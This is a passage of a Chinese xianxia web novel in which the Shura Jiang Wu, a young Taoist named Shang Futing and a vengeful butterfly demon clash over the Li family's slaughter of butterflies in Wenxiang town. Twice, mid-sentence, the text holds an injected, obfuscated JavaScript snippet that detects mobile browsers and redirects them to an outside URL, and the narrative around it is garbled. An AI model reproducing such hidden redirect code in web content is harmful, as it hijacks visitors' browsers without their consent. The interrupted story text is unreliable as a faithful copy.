商扶庭的话音刚落,四周的气氛莫名其妙地凝重了起来,看向商扶庭的眼神有不屑亦有无奈。 角落里的一名白面书生站起了身,朝着商扶庭回礼,“我等都是闻风而来,捉拿一只从大荒而来的蝶妖。” “蝶妖?”商扶庭蹙眉,“前辈,此话何解?” 白面书生说:“前一段时间,不知小友可听说过天都东城群体中毒一事?我们是随着水中的磷粉追到了闻香镇,只是这气息到此便消失殆尽,所以我等在此静候捉妖司的人,也算是在守株待兔。” 姜芜将视线放在了柜台之后的店小二身上,却见后者不仅没有表现出恐惧,反而在打着瞌睡。 商扶庭问道:“各位可有其余的线索,现下我师妹虽不深,但是毒液正在不断扩散,生命危在旦夕,还请各位前辈指点一条明路。” 白面书生摇了摇头,面上带着一丝的惋惜,“这只蝶妖来去无踪迹,我们只能等。小友,恕我等无能为力。” 商扶庭转头看向了角落里的姜芜,想着她肯定有办法找到蝶妖的来历,于是快步朝她走了过去。 “我知道你肯定有办法。” 姜芜细细地拒绝着口中的菜肴,她抬眸看了一眼商扶庭,用姜茶冲淡之后才对他说:“刚刚有求于人时,对着他们一口一个前辈,怎么到我这里就什么称呼都不叫了?” 商扶庭的脸上浮现了一丝浮躁,但依旧耐着性子对姜芜说:“你希望我称呼你什么?” 姜芜笑着说:“怎么不得叫一声前辈来听听?” 商扶庭的怒火瞬间爆发了出来,他怒目圆睁等着姜芜,“你这修罗休要得寸进尺,你何德何能可以被称为前辈?!” 姜芜感受着周围突然凝重的气氛,面上的笑容不变,“哎呀,你可真是给自己惹了个大麻烦。” 4. 故事 商扶庭出口之后也觉得话有些不对,他持剑转身挡在了姜芜面前,神情焦急地说:“各位听我解释。” 姜芜看着周围人恨不得将她杀之而后快的表情,身上的戾气顿时高涨,将所有人震退了一步,隔空将商扶庭擒到手,“哎呀,小道士,暴露了怎么办?修真界如此道貌岸然,百年前阻我修罗入侵大计,今日你们齐聚在此,刚好给太初太阿两把神兵利器陪葬!” 尖锐的破空声而来。 姜芜顿时觉得左肩剧痛,弹指之间半边身体没有了知觉,身上外溢的戾气消散殆尽,她眉心一拢,抬掌拍向商扶庭的后肩。 商扶庭顿时踉跄地向前扑倒,他不敢置信地看着姜芜,“原形毕露了吗?!” 白面书生的双指之间还夹着一枚骨钉,“修罗,尝到我噬魂骨钉的滋味了吗?这是转为你们修罗一族所研制的!” 姜芜咬牙,挥袖之间破窗而出。 白面书生说:“她中了我的噬魂骨钉,根本跑不远,今日我们天下豪杰聚集在此,各位随我一同前去绞杀女修罗。” 一群人倾巢而出,只留下商扶庭呆坐在原地。 众人刚冲出客栈,一场大雾如同针线细密的纱绸从天而降,将整个闻香镇笼罩在其中。 “有妖物来袭,各位小心!” 姜芜直接冲到了镇外的树林之中,却因为血契带来的反噬而不得不停下脚步,大雪已经停了,她却能感受到从骨头里散发出来的冷意,梅华道尊的噬心削骨之痛并不是恐吓。 姜芜脚下踉跄,她伸手扶住身旁的树木,缓缓地盘膝坐在了雪地之中。 一抹倩丽的身影由远及近,从影影绰绰到清晰可见。 姜芜抬眸看着面前的蝶妖,右手聚集起戾气,将左肩的噬魂钉引了出来,鲜血伴随着离体的长钉一同撒在如梨花满落的白雪之上。 “不跟我说一声谢谢吗?”蝶妖说,“我刚刚可是救了你的命。” 姜芜擦掉嘴角溢出的鲜血,用戾气修复着肩上的伤口,“我也不需要你救,你只是想来跟我讨个人情而已。” 蝶妖被猜中了心事,不仅没恼,反而脸上顿时露出了一个惊心动魄的艳绝笑容,“聪明,所以为了报答我的救命之恩,帮我把他们全部杀了吧。” “你是怎么找到我的?”姜芜的面色有些惨白,连同红润的嘴唇也失了血色,周身却没有一丝的狼狈可言,反而削弱了几分与生俱来的攻击力。 “瞧我这个脑子。”姜芜故作懊恼地捶了捶自己的额角,随后伸手抚了一下身上的大氅,“孟极善于隐匿,而我身上的大氅正是用孟极的皮毛做成,虽然能隐藏我身上的气息,但是身为妖怪的你,一定能察觉到孟极在上面遗留的妖气。” 蝶妖抬手用广袖遮住自己的口鼻,“人为了自己的一己私欲,来猎杀妖怪,获得他们难以得到又梦寐以求的东西,怎么修罗也开始杀妖怪了呢,有什么还能是你们无法得到的东西吗?真是可笑啊。” 姜芜问道:“有什么可笑的?说说看?” 蝶妖莞尔,“今日来并不是跟你论道的,你如果不想杀他们,就赶紧离开这里吧,不要来插手我的好事。”说完,抬手将一瓶解药扔到了姜芜的怀中。 姜芜说:“看来你对闻香镇中的事情了如指掌。” “不仅如此,我对其他的事情也是了如指掌呢。”蝶妖妖艳的双眸紧紧地盯着姜芜,随后化作一只黑色的蝴蝶疯狂地震动自己的翅膀,“我想看看当初的传闻是否为真,又是否为假呢。” 姜芜抬手挡风,身上的氅衣却被吹飞,等她反应过来伸手去抓时才发现为时已晚。 天地之间,寒风猎猎,却在瞬间被按下了暂停键,空中还残留着蝶妖飞行的痕迹。 姜芜心中一寒,只是起身将遗落的氅衣捡起。 不等姜芜将氅衣披到肩上,一件带着灼热体温的披风率先一步落到了她的身上,姜芜却感觉从头到脚冷了个透彻,仿佛再也无法感知到体内的一丝温度。 “天寒地冻。” 嘶哑阴暗的声音从姜芜的身后传来。 “为何不多穿一些?人间有四季,冬日却比无幻之境内要冷上几分。” 姜芜身体僵硬,没有做出任何的动作,身后之人顷身,发链从墨发间垂落,如同碎冰一般滑过姜芜的脖颈,流进了她的衣襟之中。 “我的错,回家吧。” 姜芜伸手将发链从自己的衣襟中勾了出来,语气冷淡地问道:“你的伤好了?为什么要出来?” 睢羲伸手握着姜芜的双肩,将她的身体转了过来,伸手动作轻柔地擦干净了她嘴角的鲜血,“寻你回去,你在外面待太长时间我不放心。” 姜芜面无表情地看着睢羲,伸手贴进后者的心口。 睢羲伸手制止了姜芜的动作,“无事。”说完,他挥袖卷起了一旁的噬魂骨钉,拿在手中细细地看了起来。 “是太初的骨,他死了也没有放过我们。”姜芜看着那枚噬魂钉,面上闪过一丝的痛苦,烈火从心脉处燃烧了起来,随着她的血流奔腾至全身,内里的灼热温度同外境的隆冬腊月两种极端来回撕扯着她。 姜芜的脸上泛起了一抹不正常的红色。 睢羲将那枚噬魂骨钉收进了衣袖中,他垂眸看着姜芜,随后勾动手指将后者放在袖中的血契取了出来,“我帮你毁掉它。” 姜芜面上一惊,立刻将血契抢了过来,伸手推开睢羲,又后退了几步,“我还有用,不能毁。” 睢羲蹙眉,他收回空荡荡的手,又看了一眼远离他的姜芜,“怎么?里面的内容是我不能看的吗?我可以不看。” 姜芜摇了摇头,语气坚决,“不能。” 睢羲的双眉拢得更用力了些,眉心处压出了一道深深的痕迹,这是姜芜第一次如此果断地拒绝与他共享秘密。 姜芜把血契收进袖袋中,然后将肩上的披风取下递给了睢羲,“一时半刻肯定是回不去的,你要好好养伤,不要再来人间了,对你的伤情不利。” “你还在生气?” 睢羲看着姜芜手上墨蓝色的披风,并没有伸手去接,而是目光灼灼地看着姜芜重新穿上了那件藏匿气息的氅衣。 “最起码让我知道你在哪里。” 姜芜抬眸看了一眼睢羲,手指一松,掌心的披风坠落到了雪地中,她沉默不语地转身往闻香镇走去。 商扶庭神情焦急地在房间内来回踱步,他时不时看向床上昏迷的沈确,一边留意着外面的动静。 突然,一道劲风将房间的窗户吹开。 商扶庭一愣,正准备前去去关窗,却见姜芜从外面掠了进来。 “你怎么才回来?你这么强,甩掉那些人应该不成问题吧?”商扶庭伸手将窗户关好,“现在该怎么办?我们什么时候去找那个妖怪,阿确身上的毒已经不能再拖了。” 姜芜甩手将蝶妖的解药扔给了商扶庭,“不用了,这是解药,等沈确好转之后我们就离开这里。” 商扶庭打开瓶塞闻了一下里面的药,面色不解地问道:“你怎么得到的解药?” 姜芜自顾自地走到桌前,给自己倒了一杯略有发凉的茶水,“下毒之人给的。” “下毒之人给的?你跟它做交易了吗?否则它为什么要给你解药?”商扶庭追问道,“而且这真的是解药吗?莫不是它哄骗你的吧?” 姜芜轻笑了一声,毫不在意地说:“你以为所有人都像你一样弱吗?分辨不出解药还是毒药?反正解药我已经带到了,至于给不给你师妹用,那是你的事情。”说完,她将手中的茶杯放到了桌上,起身往自己的房间走去。 商扶庭盯着手中的瓷瓶看了片刻,开口喊住了姜芜,“等等。” 姜芜面带微笑,转头看着商扶庭问道:“还有什么事情?” 商扶庭抿了抿双唇,面色有些羞赧地说:“今天的事情是我的不是,是我对不住你,怪我当时太心急了。” 姜芜挑眉,随即笑着说:“年轻人心浮气躁可以理解,但是在修行上可不要这样哦。” 商扶庭见姜芜转身要走,继续说道:“我的话还没有说完,虽然解药已经到手了,但是五行道宗绝对不允许有妖物为祸人间,所以闻香镇的妖怪,我还是要解决的。我打听过了,婚礼就在明日,而主家正是靠着售卖蝴蝶而发家的,所以我猜测这次作乱的妖怪是一只蝶妖。” 姜芜敛眸,她合上了半开的房门,转身靠了上去,看着商扶庭问道:“所以,按照我的理解,这主家屠杀蝴蝶妖无罪,反而来寻仇的蝴蝶妖是有罪的,是这个意思吗?因为我是个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15106414|163894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 修罗,所以理解事情的思路可能跟你们人类不太一样。” 商扶庭说:“自古以来,人、妖鬼怪、修罗就各自有领域划分,它们不守信用,越界就该杀。如果蝴蝶妖不擅自前往人间,就不会被主家捉住当作盈利的货物。” “我给你讲个故事吧。”姜芜拢了拢身上的氅衣,她伸手推开紧闭的窗户,外面的雪已经停了,堆积了厚厚的一层,将新出的月光拢在怀中,到处都莹莹一片,一阵寒风袭过,吹散了房间内闷人的暖气。 “天地初始,混沌一片。”姜芜说,“那个时候还没有人类的存在,甚至没有白天黑夜之分,但是三千大道却是从此时诞生。后盘古以一己之力斩杀三千魔神,开天辟地献祭自己,清气上升、浊气下降,又从中诞生出了灵气与戾气,两者相生相克。但因为三千魔神的死亡残留下来的凶煞之气,诞生了修罗、恶妖、凶兽。因为凶煞之族的存在,天下再起纷争,混乱不堪,成王败寇,有能力者统揽一切,水神共工怒撞不周山之前,女娲所创造出的人类一直无法存活,因为过于的弱小。” 商扶庭开口打断了姜芜的话,“你说的这些话,我都知道。但是文明不开化,你们依旧崇尚于武力解决一切,跟不上时代的发展,迟早会被甩下。” 姜芜笑了一声,“天下分久必合,合久必分,要说到人族的兴起还要等到逐鹿之战后。真要讲到立足大兴,还是在东游与西游之时。所以,我们几乎是那些人纠纷中的棋子。” 商扶庭说:“既然你们是凶煞戾气的化身,为何不能与他们一争高下?” “修罗一族,虽掌握乾坤之力,却生性爱自由,不愿牵扯进权力的斗争中。” 姜芜伸手按了按额角,她侧眸看向商扶庭,雪白的光映在她的脸上,顾盼生辉,她并没有解答商扶庭的疑惑,反而问道:“小道士,你为什么要修道?” 商扶庭没有预料到姜芜会这么问,面上微微惊讶了一番,随后才神情正经地说:“匡扶天下正义,庇护弱小,得道成仙。” “成仙吗?”姜芜抬头望天,神情略有无奈,“天上那群老家伙,整日混乱的模样,可不比下界自由自在,能感受六道轮回,日升月落,以及人间的万紫千红。” 商扶庭摇了摇头,“那对于我来说太过于遥远,我先下只想做到前两件事,不想得到成仙之事。” 姜芜继续说:“鸿钧老祖三次论道之后,避世合道,巫妖休战期间,女娲捏土造人,以功德成圣。小道士,你们五行道宗成立多久了?” 商扶庭如实道:“至今已七百三十五年。” 姜芜垂眸略算了一番时日,手指上缠着几圈染过体温的穗子,“大约千年之前,一圣人降临于世,党同伐异,意欲挑起纷争,联合一部分对另一部分进行驱逐,与妖皇座谈论道,让妖族退守大荒,将修罗一族封印于无幻之境,最后却仿制帝俊炼制太初、太阿两柄神兵利器。” “你!不许你污蔑太初道尊!”商扶庭面色一紧,“那帝俊炼制的是何种神武?” 姜芜还沉迷于过去,听到商扶庭这么一说,不以为然地轻吟了一声,“屠巫剑,是利用人族气运,大肆屠戮人族炼制的哦。” 商扶庭心中大骇,伸手攥紧了掌中的太初剑,“所以,所以......太初剑是用修罗一族炼制,太阿剑是用妖怪一族炼制而成的吗?” “所以说,你们的太初道尊为了人族可谓是煞费苦心。”姜芜按了按额角,神情有些困惑,“我刚刚是准备跟你说什么的?年纪大了,有些忘事。” 商扶庭反口呛她,“我怎么知道,是你要给我讲一个故事的。” 姜芜应了一声,“故事讲完了,剩下的你慢慢悟吧。” “你让我悟什么?” 姜芜已经走了门前,她听到商扶庭这么问,莞尔,“当然是悟到什么算什么呗,你如果选择明天去除妖,我是不会帮忙的。” 商扶庭追了几步,“你不同我们一起吗?你不是答应过掌门吗?” “只是保证你们的安全而已。”姜芜头也不回地说,“再者收妖可不是我的事情哦,小道士,自己的事情要自己做。” “你!” 商扶庭气急,但也无济于事,他握着瓷瓶思索了片刻,随后来到榻前将其中的解药喂给了沈确。 5. 蝶妖 商扶庭给沈确喂下解药,等后者的面色逐渐恢复红润,眼周的毒纹退去才松了一口气,他见时间尚早预备出门到闻香镇内了解更多的情况。 雪已经停了,随着夜幕的降临,一股奇异的香气伴随着新雪香弥漫在整个闻香镇中。 商扶庭刚到客栈楼下便闻到了这股气息,有些好奇地问柜台后的店小二,“这是什么气味?” 店小二放下手中的抹布,笑着对商扶庭说:“客官可算是问对人了,这是我们闻香镇的特色,下雪之后我们镇月老庙的古树上会开一种名为‘仙霰雪’的花,您所闻到的气味便是这‘仙霰雪’的香气啊。之前的时候这仙霰雪的花香会吸引一种黑色的蝴蝶,这种蝴蝶翅膀上有一种奇异的鳞粉,如鲛人织绡一般,那叫一个光彩夺目。镇上的李家本身就是贩卖独特香料为生,后续又凭借着这种黑色蝴蝶更是如虎添翼啊。” “黑色蝴蝶?仙霰雪花?”商扶庭蹙眉,“小二,请问这月老庙怎么走?” 店小二指着客栈门口,“客官您顺着这条路,一直往西走就能看到月老庙了,这临近年关,那处应该热闹的很。” “多谢。” 商扶庭到达店小二所指的月老庙时,这里多是来求姻缘的年轻人,人潮拥挤,摩肩接踵。 “抱歉。” 商扶庭侧身躲过嬉戏打闹的女郎,缓缓地往月老庙内走去。 一棵巨大的古树伫立在月老庙殿前的院中,褶皱的树皮爬满整个向天而生的枝桠,郁郁白花香气四溢,迎风而落,写着祈愿的红色缎带时不时从白花中显现,整棵树似雪又似血。 商扶庭震惊于面前的惊世美景,一不留神被掉落的木牌砸中肩膀,他俯身捡起只见木牌上写着李王二字。 商扶庭握着木牌四下看了看,只见一个垂髫小童急匆匆地跑来。 “这位......道长,这是我姐姐的木牌,烦请你归还。” 阿雀上下打量了一番面前一身白色道服的商扶庭,见他身后背着一把长剑,额间束着暗银色的抹额,头发捆成短短的马尾状,一副清新脱俗、不入凡尘的仙风道骨样,只是眉眼间稚气未脱,面上不苟言笑,倒是有些少年老成。 阿雀看着商扶庭的面容,脸色微红,她身后跟着面带愁容的王小姐。 商扶庭看了一眼王小姐,然后将手中的木牌递了过去,“请问可是明日要与李家公子结亲的女郎?” 阿雀惊讶地看了一眼商扶庭,随即又笑着对王小姐说:“姊姊的美貌当真是一绝,连云游四方的道士都知道呢。” 王小姐浅浅地一笑,娇嗔着打了一下阿雀,“小妹,不得无礼。” 阿雀娇俏地吐了吐舌头,然后将木牌塞到王小姐的手中,一蹦一跳地跑远了。 商扶庭见王小姐虚握着手中的木牌,姣好的面容上愁眉不展,唇色发白,便放轻了自己的声音,“既然明日是王小姐的喜事,为何又一副愁眉不舒的模样?可是有什么烦心事?” 王小姐哀哀怨怨地叹了一息,她垂眸看了一眼手中祈求夫妻和美的木牌,“嫁他非我本意,但婚事一定,我本想来月老庙求一婚后夫妻和睦,但木牌没有挂到树枝上,倒是愁上加愁了。”说完,她伸手拭去了眼角的泪珠。 王小姐唇角微勾,她抬眸看向商扶庭,“这本是我的事情,此时说予道长听,也给道长添堵了。” 商扶庭摇了摇头,“并非,若是因此王小姐能得到宽慰,对我来说并非添堵。只是我初来此地,听得都是对王小姐婚事的赞美之词,只是却不曾想到这喜事到了王小姐这里却成了负担,既然如此,何不将心事说开?” 王小姐抬眸看着面前似暴雪般的树花,双眸中满是憧憬,“道长有所不知,我与李郎乃青梅竹马,这婚事自小便是定下的。李郎平日待人温和,对我也是恭敬有加。只是自从李家依靠蝴蝶日进斗金后,我便夜夜做梦梦到那些支零破碎的蝴蝶,我想让李郎劝劝他的父亲,却未曾想到他会一改往日而大发雷霆,险些......险些对我大打出手。” 商扶庭心中不解,他抿了抿双唇,试探地问道:“那王小姐还在担忧什么呢?” 王小姐听完商扶庭浅浅地一笑,她抬眸看着如白雪般的仙霰雪,“我自幼养在闺阁之中,学得是女红制衣,比不得道长能见识到广阔天地,能看到的听到的,不过是一方四角天地。我担忧的不过是这只有一个冬月的仙霰雪,等到来年春日,万物复苏之际,它却像冬雪一般坠落,我现在都有些怀疑这仙霰雪是否真的存在,是否只是一种假象,但是我很爱这种似幻似真的感觉,想要留住它,却也无能为力。” 商扶庭蹙眉,“我不是很懂。” 王小姐无奈地摇了摇头,她抬起自己的手,任由一只黑近紫的蝴蝶落到了她的指尖上,“我希望道长永远都不会懂。” 停留在王小姐指尖上的霰雪蝶很美,但是翅膀处却有一道非常突兀的疤痕,几乎斩断了蝴蝶大半的翅膀,被人用同色的针线仔细地缝补了起来。 “其实,我今日是还有其他的事情想要询问王小姐。”商扶庭看了一眼王小姐指尖停留的蝴蝶,“这是何种蝴蝶?我似乎从未见过。” “这是霰雪蝶,很奇怪的名字吧,是我们闻香镇特有的蝴蝶,似乎是被漂亮的仙霰雪吸引过来的呢,可惜结局跟仙霰雪一样遗憾。”说完,王小姐的脸上闪过一丝落寞。 商扶庭灵光一闪,他看着王小姐说:“您可是觉得李家不仁义?为了家财而屠杀弱小生灵?” 王小姐动了动指尖,霰雪蝶震动着翅膀飞远,她转头看向商扶庭,“道长可是为了闻香镇的怪事而来?” “怪事?” 隔日,沈确脚步有些虚浮地跟着商扶庭下楼,却在一个拐角处被后者扶住踉跄的身子。 商扶庭神情担忧地说:“阿确,你身上的毒刚解,还是回去休息吧,这次我一个人就可以了。” 沈确摇了摇头,“师兄,你一个人去我实在是不放心,我不会拖你后腿的,也不会成为你的累赘的。” 商扶庭辩解道:“阿确,你明明知道我不是那个意思。” 姜芜闻声看了一眼二人,随后夹起一枚汤包蘸了一番料碟里的酱汁,神情悠然。 店小二笑盈盈地迎了上来,“二位是预备去观礼吗?这天寒地冻的,不如先垫垫肚子吧,小店最有名的便是蟹黄灌汤包的。” 商扶庭抱剑谢过店小二的好意,“不必了,多谢您的好意,我与师妹早已辟谷。”说完,他便看了一眼姜芜,颜色中闪过一丝惊讶,但依旧面不改色地同沈确出了门。 姜芜吃好了早点,问了店小二李家的具体位置,随后才捧着手炉慢悠悠地出了客栈。 临近正午,姜芜赶到时,恰逢李家新妇过门,锣鼓喧天,欢快的乐曲感染着前来讨喜的每一个人。 姜芜站在外围看了片刻,正准备随着宾客进门时却被商扶庭扯住了衣袖。 “你怎么来了?不怕死吗?” 商扶庭上下打量了一番姜芜,只见后者换了一身行头,氅衣之下暗红色的外袍领口大开,露出其中薄如蝉翼般的霭色中衣,冰肌玉骨,惹人遐思,头发也全部束了起来,面容和之前见过的有些天壤之别,唯一不变的只有那双内勾外翘的眸子,其中是波澜不惊的诡谲之黑。 “千年蝶妖,你们真的有把握吗?”姜芜伸手抚在了胸口上,“如果我不来,你们若是死了,我岂不是要活活痛死?” 商扶庭见四周着宾客随着新妇的过门都跟着进了门,他偏头看了一眼神情厌厌的沈确,做了一番取舍后对姜芜说:“你帮我照看一下师妹,我进去看看。” 沈确神情一凝,不等开口拒绝便看到一道黑红色交杂的雾气直逼她的面门,她刚要拔剑格挡,却见那道雾气直接融入了她的眉心间。 沈确顿时感觉沉疴的病体轻盈了几分,她神情差异地看着姜芜,“你在帮我?” “想去便去吧,年轻人历练几分总归是好的。”姜芜收回手,轻靠在了墙上,脸上带着轻柔的笑容,“如果真的打不过,大喊饶命也是可以的,到时候我会来救你们的。” 商扶庭蹙眉,脸上有些不悦,他侧眸去看姜芜雪白的脸,只觉得那上面的笑容异常得令人火大。 商扶庭冷哼一声,拽着沈确便往李宅内走去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15106415|163894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 姜芜丝毫没有为此生气,笑容浅浅地看着两人,刚想开口提醒一番却见二人已经直接踏了进去,她抬起的手只能讪讪地放下。 姜芜想提醒商扶庭二人,千年蝶妖擅长幻术,要小心提防,不过她觉得就算是提醒到位了,两个小道士估计也不会记在心上。 姜芜将视线放在了停留在半空中的手指上,她顿时觉得一阵刺痛,鲜血顺着肌肤纹理溢出,缠绕在上面的丝线逐渐显形。 “原来还有帮手吗?” 姜芜的话音刚落,四周的景象逐渐褪色,一切都像失真一般,原本的喜乐也变得嘶哑难听。 等一切恢复正常之后,对面屋顶上站了个一身黑袍的男人。 “我当是谁呢,原来是个龙蛇混血的小杂种。”说完,姜芜手腕一扭,缠绕着她的丝线应声而断。 寂满双眸一眯,冷声开口道:“劝阁下不要多管闲事。” 姜芜按了按自己因为仰头而有些酸胀的后颈,随即冲向了寂满,“你家长辈没有告诉你,跟人说话时站得太高很没礼貌吗?!” 寂满后撤躲过姜芜的一掌,却不曾想到还有一道可怖的戾气在他落地的位置守株待兔,他硬生生地挨了一掌,后退几步,觉得五脏六腑都被震得发麻。 “你这不是也有帮手吗?” 寂满伸手擦掉嘴角溢出的鲜血,原本圆润的瞳孔突然竖起,越靠近两端越发的尖锐,冷血粘腻的气息从其中蔓延了出来。 姜芜看着面前站着的男子,原本面带笑意的脸上多了几分复杂和混乱。 “不是让你不要再出来吗?” 睢羲回眸看了一眼姜芜,随即又垂眸看了一眼一地杂乱的李宅内院,他抿紧了嘴唇,片刻后才轻轻地吐出一口浊气,“只是一句具木偶身附身,不要紧。” “不管你们是哪路奇能异士,但是我劝告你们妖族的事情少管!”说完,寂满将右手幻化,黑色的鳞片迅速生长了出来,随即他迅速冲向了睢羲。 “不要杀他!” 姜芜后退了几步,随后从屋顶一跃而下。 睢羲垂眸看了一眼姜芜,只是抬手的瞬间,黑色的戾气便将张牙舞爪的寂满捆了起来,顺便堵住了那张喋喋不休的嘴。 李宅内的宾客全部陷入了蝶妖的幻境之中,原本应在婚房中等候的新妇此时却提着一把长剑四处杀人,温热的鲜血比她身上的婚服还要夺目,李公子则一脸漠然地站在正厅中央看着这血腥的一幕。 新妇见姜芜突然闯入,发出一声尖锐的叫声,挥舞着长刀朝着后者砍了过去。 姜芜抬手震开新妇,“差不多就可以了,毕竟是长衡山脚下,真要是被搞灭族了,得不偿失。” “冤冤相报何时了吗?”李公子嗤笑了一声,他缓步踏了出来,双眸一瞬不瞬地盯着姜芜,“他们为了利益屠我族满门之时,可有曾想过给我们留后路?” 李公子操控着新妇直扑姜芜。 姜芜抬手打落新妇手中的长剑,见后者皮肤凸起,隐约能看到皮下虫卵蠕动,眼黑全无,俨然一副被寄生已久,毫无生机的模样。 “你打算让整个闻香镇都成为你们霰雪蝶一族的孵化温床吗?” 李公子歪头,骨头似乎没有了支撑的能力,头颅在瞬间垂了下去,“他屠我满门,我以全镇之人孵化幼虫,有何不可?” 说完,李公子的皮肤开始疯狂地蠕动了起来,喜服尽数碎裂,他双膝一软直直地跪倒在地,血色充盈的皮肤逐渐变得透明,蝶妖雾沅撕破他的皮肤肌肉出世,从他的皮囊中爬了出来,带出了大量的血迹和内脏碎片。 姜芜蹙眉,“说实话,我不应该管你们妖界的事情,只是有不怕麻烦的想管而已。” 雾沅撩开额前沾满鲜血的头发,一双紫黑色的眼眸,深得像寂静的海,“你何时也开始跟人族合作了?还是说你那爱管闲事的脾气依旧没改?” 新妇双手如爪,继续不管不顾地朝着姜芜冲来,口中声音嘶哑,非人非兽。 姜芜被惹得心生烦闷,正准备出手解决,却看到商扶庭浑身是血的跑了过来。 “住手!王小姐还活着!” 6. 幻境 雾沅见商扶庭赶来,双手结印扯出一条丝线,齐齐地打入后者的穴道之中,封闭了他的五感。 商扶庭重心不稳扑倒在地。 “啊,我真是不小心呢。” 雾沅挑眉,一副幸灾乐祸的模样。 “你又在玩什么鬼把戏?”姜芜神情担忧地看着商扶庭,“那个半妖女孩呢,你又把她弄到哪里去了?” 雾沅用血迹斑斑的手抚了抚自己的袖口,他面上松了一口气,“她现在很安全,我不会对同类做些什么的,即便那个女孩是个混血,我也不会像人类一样歧视她。我只不过让他们直视了心底的恐惧而已,如果你想体验的话也可以,或者你想要最美的梦境?” “这里没有人会阻止你。”姜芜说,“你大可不必把我们当成敌人,我只是想带那两个小道士离开,至于这个小镇,你意欲如何,我都不会管。” 商扶庭身形一颤,缓慢地撑着太初剑站了起来,寒风四起,将他身上的白衣吹得猎猎。 雾沅挑眉,他的双眸中闪过一丝的惊讶,“居然还能站起来,原来真的有人心中没有恐惧吗?” 商扶庭垂着头,右手握着太初剑,左手飞快地掐诀,低呵一声,“太阿!” 姜芜神情微愣,看着商扶庭的黑发逐渐变白,她下意识地后退了一步,惊恐、愧疚、懊恼一瞬间涌了出来,不断地侵蚀着她的神志。 睢羲不知何时站到了姜芜的身后,他伸手撑了一下后者颤抖的身体,低声说:“濯濯别怕。” 姜芜这才从情绪所带来的苦痛中回神,她倒吸了一口凉气,转身疯狂地推搡着睢羲,失态地说:“你走!你走啊!!!” 太阿剑破空而来,直逼雾沅而去。 寂满见状立刻咬破封口的戾气,大喊道:“雾沅小心!” 就在太阿剑要刺穿雾沅身体的那一刻,王小姐突然扑了过来,她伸手推开雾沅,以凡人之躯替他挡下了致命的一击。 雾沅大惊,他伸手接住王小姐的身体,看着她的双眸逐渐恢复往日的神采。 王小姐痴痴地一笑,她费力地抬手抚开雾沅垂下来的长发,仔细地描摹着他的面容,“真好......” 雾沅不断地擦拭着王小姐口中溢出的鲜血,声线颤抖地问道:“为何要这么做?!为何?!” 姜芜推开睢羲的瞬间,商扶庭已经持着太初剑逼到了面前,他的身上仿佛落了一场大雪,到处都是一片雪白。 姜芜伸手握住了太初剑的剑身,她双眸紧盯着商扶庭,黑红色的戾气在她的眼底翻腾着,“段怀野!” “诛尽天下妖邪!” 商扶庭倏地抬眸,黑色的眼瞳也逐渐退成了银雪色,他左手搭在了右臂上,意图让太初剑再进一步。 “濯濯!” 姜芜的双手已经全部握在了太初剑上,阻止再进一步,尖锐的刃划破她的皮肤,鲜血顺着纹理蔓延开来,经过剑身滴入雪地之中,她朝着睢羲厉声呵斥,“这是我和他的事情,不需要你插手。” 睢羲脚步一顿,伸出的手也缓缓地收了回来,藏进了宽大的袖口之中。 “我早就应该毁了这两把剑!”姜芜拗不过商扶庭的力道,只能牵引着太初剑刺入自己的心脏中,她的嘴角溢出一丝鲜血,“感受到了吗?以你现在的修为根本杀不了我!” 商扶庭面色一愣,觉得手中长剑破开皮肉,前进却有一丝的凝滞,仿佛那团柔软的心脏中隐匿着一块坚硬的异物。 姜芜说完,抬手将商扶庭击飞,将太初剑拔出扔在了地上,她双手快速结印,戾气从她的体内翻涌而出,将商扶庭控制了起来。 “你是想我直接杀了你,还是解开对他的控制?” 姜芜收敛了脸上的笑容,面色冰冷的对雾沅开口。 雾沅的笑容有些凄惨,他怀中抱着王小姐逐渐冰冷的尸体,“你觉得我还会怕死吗?霰雪蝶的幻境根本无法解除,除非......” 姜芜抬手直接将寂满抓到手中,“不说吗?只要你说出幻境如何破解,我就放他一命怎么样?” 雾沅神情有一丝的凝滞,他垂眸看了一眼怀中的王小姐,动作轻柔地抚开她脸上的乱发,然后将她安置在一旁,起身朝着姜芜走了过来,最后停在了距离后者三步远的地方。 “还有一种方法就是直接杀了我。” 雾沅说完之后便闭上了双眸,一副慷慨就义的模样。 “是吗?” 姜芜勾唇,抬手将戾气幻化成利刃,抵在寂满的胸口,一分一寸地往里钻,“杀你会给我惹麻烦的,虽然我这个人不怕麻烦,但是你不开口,我更喜欢慢慢折磨他。” 寂满失声痛叫,他偏头恶狠狠地盯着姜芜,“你尽管杀我,我父亲一定不会放过你的!” 姜芜觉得寂满聒噪,直接勾动手指将利刃推进三指的长度,寂满顿时痛得连话都无法说出口。 “你这个......毒妇......我要将你千刀万剐!!!” 雾沅看了一眼站在姜芜身后不言不语的睢羲,幽幽地叹了一口气,“他现在深陷梦魇根本无法出来,除非有人进去引导他出来。” 姜芜追问道:“如何引导?” 睢羲面色一寒,不动声色地攥紧了手指,却也没有进一步的动作,只是将目光放到了姜芜的身上。 雾沅说:“让他知晓自己是在幻境中。” 姜芜将寂满扔在一旁,随后朝着商扶庭走去,合眸的瞬间便将一缕神识注入了他的梦境之中。 雾沅见状心中松了一口气,他看着依旧被戾气捆绑住的寂满,欲言又止地看着睢羲,片刻后才缓缓地开口,“不知阁下可否......” 